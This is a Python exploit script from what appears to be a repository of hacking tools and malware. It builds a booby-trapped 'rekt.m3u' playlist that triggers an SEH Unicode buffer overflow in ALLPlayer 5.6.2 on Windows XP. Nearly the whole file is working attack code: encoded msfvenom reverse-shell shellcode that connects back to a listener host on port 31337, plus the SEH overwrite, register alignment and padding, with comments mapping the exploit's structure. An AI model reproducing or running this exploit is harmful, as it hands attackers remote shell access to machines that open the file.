Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

4.6 KB
Raw Blame
#!/usr/bin/env python

#-------------------------------------------------------------------------------#
# Exploit: ALLPlayer 5.6.2 SEH Unicode Buffer Overflow                          #
# OS: Tested XP PRO SP3 (Professional)                                          #
# Author: Amonsec                                                               #
# Software: https://www.exploit-db.com/apps/                                    #
#                   7c752ab803ccd3ce0caa4c7ec658e13a-ALLPlayerEN.exe            #
#-------------------------------------------------------------------------------#

filename = 'rekt.m3u'

#------------------------------------------------------------------------------------------------------------------------------------------#
# msfvenom --platform windows -a x86 -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -e x86/unicode_upper BufferRegister=EAX #
#------------------------------------------------------------------------------------------------------------------------------------------#
shellcode = ''
shellcode += 'PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1'
shellcode += 'AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB'
shellcode += 'AB30APB944JBKLJH3RKPKPKP30TIZENQ7P1TTK20NPTKB2LLTKPRLTDK42O'
shellcode += '8LO87OZNF01KOVLOL1Q3LM2NLO0GQHOLMKQI7YRKBR227TK22LPTKPJOLTK'
shellcode += '0LN1D8YS0HKQ8Q21DKPYMPM1Z3DKOYLXJCNZQ9DKP4DKM1HVNQKO6LGQ8OL'
shellcode += 'MM1WWNXYP3EJVLCCMZXOKCMNDRU9TB8DKB8O4M1ICBF4KLLPKDK28MLM1HS'
shellcode += '4KKT4KKQZ0E914NDO4QK1KQQR9PZR1KOYPQO1OPZ4KLRZK4MQMS8OCNRKPK'
shellcode += 'PS83GBSNRQO2438PL2WNFLGKO8UX8TPM1M0KPO9940TB0RHNICPBKM0KOHU'
shellcode += 'R0B0B00POP0P10PP38JJLO9OIPKOZ54WRJKUBHI0W8QNCPC8KRKP3J2I3YY'
shellcode += 'V1ZN01FR72HEIG5D431KOXUU5I03DLLKO0NKX3EJL38L0GEURPVKOIES8QS'
shellcode += '2MBDKPTIYSR7QGR7P1KF2JN2291FK2KMS6WWQ4MTOLM1M1DMOTNDLP7VKPQ'
shellcode += '4PT0P1FPV26PFR60N26PVPS0VQXRYXLOOE6KOZ5U9YPPN26PFKO00C8M857'
shellcode += 'MM30KOXUGKJPFU721FQXUV4UGM5MKOYEOLLFSLKZU0KKYP45KU7KOWN3D22'
shellcode += 'OQZM00SKOJ5AA'

#----------------------------------------------------------------------------------#
# (*) Crash to nseh 303-bytes                                                      #
# (*) nshe = '\x61\x00\x62\x00' popad                                              #
# (*) seh = '\x11\x00\x4d\x00'	pop pop ret | [AllPlayer.exe]                      #
# (*) Shellcode space = 4000                                                       #
#----------------------------------------------------------------------------------#
# (1) Crash to SEH                                                                 #
# (2) Use POP POP RET instructions (unicode compatible)                            #
# (3) Use popad  instructions (unicode compatible)                                 #
# (4) Align EAX register                                                           #
# (5) Jump in our shellcode                                                        #
#----------------------------------------------------------------------------------#
# Exploit's Structure:                                                             #
#                                                                                  #
#                               (3)                                                #
#                          +----------->  (4)                                      #
#    [AA........AA]   [nseh]   [seh]   [align]   [bb..bb]   [shellcode]   [bb..bb] #
#     +----------------^------->   +         +-------------->                      #
#      (1)             |___________| (2)      (5)                                  #
#                                                                                  #
#----------------------------------------------------------------------------------#
align = ''
align += '\x55'          # push ebp
align += '\x71'          # nop
align += '\x58'          # pop eax
align += '\x6e'          # nop
align += '\x05\x02\x11'  # add eax, 0x11000200
align += '\x6e'          # nop
align += '\x2d\x01\x11'  # sub eax, 0x11000100
align += '\x6d'          # nop
align += '\x50'          # push eax
align += '\x6d'          # nop 
align += '\xc3'          # retn

buffer = ''
buffer += 'http://'
buffer += '\x41' * 303
buffer += '\x61\x62'     # popad
buffer += '\x11\x4d'     # 0x004d0011 pop pop ret | []
buffer += align          # Align EAX register
buffer += '\x62' * 109   # Padding
buffer += shellcode
buffer += '\x62' * (5000 - 303 - 4 -  7 - len(align) - 109 - len(shellcode))

data = open(filename, 'w')
data.write(buffer)
data.close()
print '[*] File created'
print '[*] With {} bytes'.format(len(buffer))